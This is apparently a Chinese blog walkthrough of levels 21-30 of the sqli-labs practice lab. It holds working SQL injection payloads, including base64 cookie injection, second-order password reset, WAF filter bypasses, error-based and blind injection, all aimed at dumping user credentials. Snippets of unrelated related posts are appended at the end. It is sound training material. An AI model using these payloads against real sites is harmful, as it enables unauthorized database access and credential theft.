sql-lib闯关秘籍之21-30关

下面开始11-20关,之前不会的关卡可以参考我这几篇文章: sql-lib闯关秘籍之1-10关sql-lib闯关秘籍之11-20关

不管是第几关,我们的最终目标是获得用户密码,从而获取最高权限!

以下的学习过程中如果遇到那里不会的或者不清楚的地方,欢迎大家留言,我将尽力帮助大家~

 第二十一关

我们输入用户名密码之后发现是这个样子的,和第20关很像对吧,就是cookie的值变成了一堆字母数字,这是对cookie的值进行了base64的处理,其他和20关一样

获取版本库名(我们只要转码就可以了)当然要先确认cookie后面的构造,通过测试是单引号括号闭合‘),当然这个也要转码,给大家一个转码的网站

这样的话就是获取库名

最后获得用户名密码,中间步骤不再一一截图,里面的语句和第一关一样

这是语句   -admin‘) union select 1,2,group_concat(username,0x3a,password) from users#=

这是base64转码     LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCkgZnJvbSB1c2VycyM9

第二十二关

这一关还是输入用户名密码先试试,发现和21关一样

还是那个步骤先试试是啥闭合方式,发现是双引号闭合,这就好办了,其他和上一关一样(步骤都一样,直接给最后一步)

这是语句   -admin" union select 1,2,group_concat(username,0x3a,password) from users#=

这是base64码     LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh1c2VybmFtZSwweDNhLHBhc3N3b3JkKSBmcm9tIHVzZXJzIz0g

第二十三关

上来先看一下23关,赶紧又回归原始了昂,咋和第一关有点像嘞,那还是哪些步骤试一试嘛

我刚开始我试了试发现字符型注入但是后面有个问题,可以用and 但是不能用联合查询语句了,一看php文件原来他把我的#  --+注释符号给过滤掉了

一种是用union select联合查询放在id里面             ?id=‘ union select 1,13,database() ‘

爆表

爆列

爆用户名密码

另一种是利用or "1"="1来闭合后面的双引号也。可以达到我们的目的(简单测试不再赘述,代码和第五关的基本一样)    -1‘ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or ‘1‘=‘1

 第二十四关

呀喝,刚进这个页面有点意思哈

这里是个二次注入,我们可以先注册一个admin‘#的账号,在修改密码处我们就可以用自己的密码修改admin的密码了,

Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =‘ admin‘ # ‘ AND password=‘
也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =‘ admin‘

注册

登陆

修改密码

再用admin  密码123456登陆进来  注入成功

第二十五关

这关一上来好像就告诉我们不能用and喝or进行注入,那咱就不用了,接下来有三种方法(具体步骤不再截图)

第一种方法,用--+  #这种普通注入  ?id=-1‘ union select 1,13,database()--+

第二种方法双写or和and,因为它过滤一个,我们就让过滤后的东西再组成一个   ?id=-1‘ union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+

第三种方法,使用&&,||绕过   admin‘||updatexml(1,concat(0x7e,(select @@version),0x7e),1)#   网上有成功的案例我没成功也不知道为什么,我还会琢磨的,等找到答案再来填,

第二十五a关

差点没发现这一关。。。通过这关的题目我们可以发现这关是盲注,所以说只是不回显了的不用and和or,而且我测试发现这关是数字型注入也就是说没有引号

说是盲注但是还有回显,因为有回显位(其他截图步骤省略了,嘿嘿)

再说了,一说到盲注咱们就想到啥了?那肯定是时间盲注和布尔盲注对吧

时间盲注   ?id=-1 || if(length(database())=8,1,sleep(3))#

第二十六关

咱直接看它的php文件吧,越到后面越难了,看完之后沧桑了不少,这是直接来了个过滤大套餐啊,咋办嘞?我们用URL编码

%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格

%27单引号

用‘1‘=‘1进行闭合(注意在hackbar中输入&&时,需要自行URL编码为%26%26,否则会报错,而输入||不需要)

确定显示位   ?id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271

爆库名   ?id=0‘union%a0select%a01,database(),3%26%26‘1‘=‘1

查表名   ?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=‘security‘%26%26%a0‘1%27=‘1

爆列名    ?id=0‘%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema=‘security‘%0baandnd%0btable_name=‘users‘%0b%26%26%0b‘1‘=‘1

爆用户名密码   ?id=0‘%a0union%a0select%a01,group_concat(username,0x3b,passwoorrd),3%a0from%a0users%a0where%a0‘1%27=‘1(这里不同的是后面多了where ‘1‘=‘1,是为了让语句变成无约束查询)

还有一种就是用连接符结合上几天xpath报错获取信息来获取信息    ?id=-1‘||updatexml(1,concat(‘~‘,database(),‘~‘),3)||‘

还可以盲注     ?id=0‘||left(database(),1)=‘s‘%26%26‘1‘=‘1

第二十六a关

这关与上一关的区别在于,在后面加上了括号进行闭合,同时在sql语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用union注入

获取数据库名                       ?id=0‘)%0bunion%0bselect%0b1,database(),3%0b||(‘1‘)=(‘1

爆表名     ?id=0‘)%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema=‘security‘%26%26(‘1‘)=(‘1

爆列名      ?id=0‘)%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema=‘security‘%0baandnd%0btable_name=‘users‘%26%26(‘1‘)=(‘1

爆用户名密码(全写出来吧,不截图了)  ?id=100‘)%0bunion%0bselect%0b1,group_concat(username,0x3b,passwoorrd),3%0bfrom%0busers%0bwhere%0b(‘1‘)=(‘1

第二十七关

总感觉这关应该是上一关的进化版

发现过滤空格

发现过滤关键字

所以我们就用URL编码和大小写进行绕过,其他和上一关一样

爆库名    ?id=0‘%a0uniOn%a0sElEct%a01,database(),3%a0or%a0‘1‘=‘1

爆表名     ?id=0‘%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema=‘security‘%a0%26%26%a0‘1‘=‘1

爆列名     ?id=0‘%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema=‘security‘%a0And%a0table_name=‘users‘%a0%26%26%a0‘1‘=‘1

爆用户名密码   ?id=0‘%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,‘3

获得用户名密码

第二十七a关

和第二十七关一样,就是把单引号变成双引号闭合了

实验一下    ?id=0"%A0or(1)=(1)%26%26%a0"1

获得用户名密码(中间步骤省略)

获得数据库长度   ?id=1"and(length(database())>8)%a0uNion%a0sELect%a01,2,"3

获得数据库名    ?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),"3

爆表名(查表面需要闭合后面双引号我就用"1"="1来闭合,前面还需要&&(%26%26)并一起,要不然会显示不出来,这个我经常忘记,没有就会出现这种情况)

?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema=‘security‘%a0%26%26%a0"1"%a0="1

爆列名        ?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema=‘security‘%a0And%a0table_name=‘users‘%26%26%a0"1"%a0="1

爆用户名密码      ?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3

第二十八关

这关在之前的技术上,加上了union和select的大小写也过滤了,都不能用了

我们直接用盲注,进行测试,一点一点试(其他的不赘述了)

得到数据库名  (用联合查询语句的方法) (过滤union select这一个组合,也要过滤空格,所以采用union union select select方法绕过,空格照样用%0a替换)

第二十八a关

上一关是单引号,那这一关按规律就是双引号了,试一下还真是

后来发现这样也可以          ?id=1)‘‘

爆数据库名       ?id=0‘)UNion%a0SElect%a01,database(),(‘13‘)=(‘13

爆表名     ?id=0‘)UNion%a0SElect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema=‘security‘%a0%26%26%a0(‘13‘)=(‘13

爆列名     ?id=0‘)UNion%a0SElect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema=‘security‘%a0ANd%a0table_name=‘users‘%a0%26%26%a0(‘13‘)=(‘13

爆用户名和密码     ?id=0‘)UNion%a0SElect%a01,(group_concat(username)),3%a0from%a0users%a0where%a0(‘13‘)=(‘13

当然除了联合查询语句还可以   盲注    0‘)||left((database()),1)=‘s‘;%00

第二十九关

上来测试是双引号单引号,一般来说都是单引号下一关是双引号,这个是直接就是双引号,并且两个单引号也可以,那么语句可能是 select * from users where id=‘xx‘ limit 1,1

获得数据库名(union select  联合查询语句直接上,和之最开始前几关一样)(另外我发现#在这关不能用)

爆表名   ?id=-1‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

爆列名     ?id=-1‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users‘--+

爆用户名和密码     ?id=-1‘ union select 1,2,group_concat(username,0x7e,password) from users--+

另外还有别的方法

利用tomcat与apache解析相同请求参数不同的特性,tomcat解析相同请求参数取第一个,而apache取第二个,如?id=1&id=2,tomcat取得1,apache取得2
?id=1&id=0‘ union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23利用tomcat与apache解析相同请求参数不同的特性,tomcat解析相同请求参数取第一个,而apache取第二个,如?id=1&id=2,tomcat取得1,apache取得2
获得表名    ?id=1&id=0‘ union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

第三十关

哇!这关和上一关一样,就是把单引号换成了双引号,太棒了,这关轻松

爆用户名密码     ?id=-1“ union select 1,2,group_concat(username,0x7e,password) from users--+

另外和上一关一样,也可以利用tomcat与apache解析相同请求参数不同的特性

?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

21-30关结束

该文章有参考了以下的网页:

sqli-lab教程——1-35通关Writeup

SQL注入靶场sqli-labs 1-65关全部通关教程

sqli-labs(less1-less22)

sqli-labs实战记录(一)

SQLi_Labs通关文档【1-65关】

原文地址:https://www.cnblogs.com/longshisan/p/12221355.html

时间: 2024-10-08 13:14:20

sql-lib闯关秘籍之21-30关的相关文章

sql-lib闯关秘籍之11-20关

下面开始11-20关,之前不会的关卡可以参考我这篇文章: sql-lib闯关秘籍之1-10关 不管是第几关,我们的最终目标是获得用户密码,从而获取最高权限! 以下的学习过程中如果遇到那里不会的或者不清楚的地方,欢迎大家留言,我将尽力帮助大家~ 11到21关的提交方式全是post型的,我这里使用burpsuit抓包软件,也可以用hackbar选中的post,下面的实验我们穿插的使用(用hackbar的时候我们的注释符号用#,不用--+,因为--+会出错) 第十一关 从这一关开始,我们就进入到了PO

sql-lib闯关秘籍之41-50关

下面开始11-20关,之前不会的关卡可以参考我这几篇文章: sql-lib闯关秘籍之1-10关,sql-lib闯关秘籍之11-20关,sql-lib闯关秘籍之21-30关,sql-lib闯关秘籍之41-50关 不管是第几关,我们的最终目标是获得用户密码,从而获取最高权限! 以下的学习过程中如果遇到那里不会的或者不清楚的地方,欢迎大家留言,我将尽力帮助大家~ 第四十一关 这关和第三十九关一样,只是错误没有回显 获得版本和数据库名   ?id=0 union select 1,version(),d

sql-lib闯关秘籍之61-65关

下面开始11-20关,之前不会的关卡可以参考我这几篇文章: sql-lib闯关秘籍之1-10关,sql-lib闯关秘籍之11-20关,sql-lib闯关秘籍之21-30关,sql-lib闯关秘籍之31-40关 ,sql-lib闯关秘籍之41-50关 ,sql-lib闯关秘籍之51-60关 不管是第几关,我们的最终目标是获得用户密码,从而获取最高权限! 以下的学习过程中如果遇到那里不会的或者不清楚的地方,欢迎大家留言,我将尽力帮助大家~ 马上就要结束了,亲爱的,兴奋吗!!!!!!!! 第六十一关

sql-lib闯关秘籍之31-40关

下面开始11-20关,之前不会的关卡可以参考我这几篇文章: sql-lib闯关秘籍之1-10关,sql-lib闯关秘籍之11-20关,sql-lib闯关秘籍之21-30关 不管是第几关,我们的最终目标是获得用户密码,从而获取最高权限! 以下的学习过程中如果遇到那里不会的或者不清楚的地方,欢迎大家留言,我将尽力帮助大家~ sql-lib闯关秘籍之1-10关 [Sql-lib chuǎngguān mìjí zhī 1-10 guān] sql-lib checkpoints Cheats 1-10

2018-10-13 21:30:51 conversion of number systems

2018-10-13 21:30:51  c language 二进制.八进制和十六进制: 1) 整数部分 十进制整数转换为 N 进制整数采用"除 N 取余,逆序排列"法. 十进制数字 36926 转换成八进制? 110076 2) 小数部分 十进制小数转换成 N 进制小数采用"乘 N 取整,顺序排列"法. 十进制小数 0.930908203125 转换成八进制小数? 0.7345 如果一个数字既包含了整数部分又包含了小数部分,那么将整数部分和小数部分开,分别按照上

sql-lib闯关秘籍之1-10关

首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky,接下来爆破字段的值.以下所有操作建议在虚拟机中进行~ First  you shoud  have  a 文件夹在你电脑上的例如phpstudy的WWW文件夹中 首先进入这里创建数据库,after that ,let‘s  we  go~ 不管是第几关,我们的最终目标是获得用户密码

sqli-labs注入lesson3-4闯关秘籍

·lesson 3 与第一二关不同的是,这一关是基于错误的get单引号变形字符型注入 要使用 ') 进行闭合  (ps:博主自己理解为字符型注入,是不过是需要加括号进行闭合,适用于博主自己的方便记忆的法子,仅供参考 ) 1.判断是否存在注入 ?id=1') --+ 2.使用order by 猜测字段数 ?id=1') order by 3 --+ ?id=1') order by 4 --+ 3.确定显示的字段显示位 ?id=1') and 1=2 union select 1,2,3 --+

UltraEdit 21.30.0.1016 安装注册教程

原文:http://www.myzhenai.com.cn/post/1914.html UltraEdit 是一款十分强大的编辑工具,用户可以通过它来编辑十六进制.编辑文本.ASCII 码,而且还可以用它来替换你系统自带的记事本,内建英文单字检查.C++ 及 VB 指令突显.本款文本编辑工具可同时编辑多个文件,而且即使开启很大的文件速度也不会慢.软件附有 HTML 标签颜色显示.搜寻替换以及无限制的还原功能,一般用其来修改EXE 或 DLL 文件.你的编辑需求基本都能满足. [功能特点] 用做

codecombat安息之云山峰1-10关及森林47/48关代码分享

codecombat中国游戏网址: http://www.codecombat.cn/ 所有代码为javascript代码分享 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1.峭壁追逐 // 抓住 Pender Spellbane 去了解她的秘密. loop { // Pender是这里唯一的朋友,所以她总是在最近的位置. pender = this.findNearest(this.findFriends()); if (pender) { // moveXY()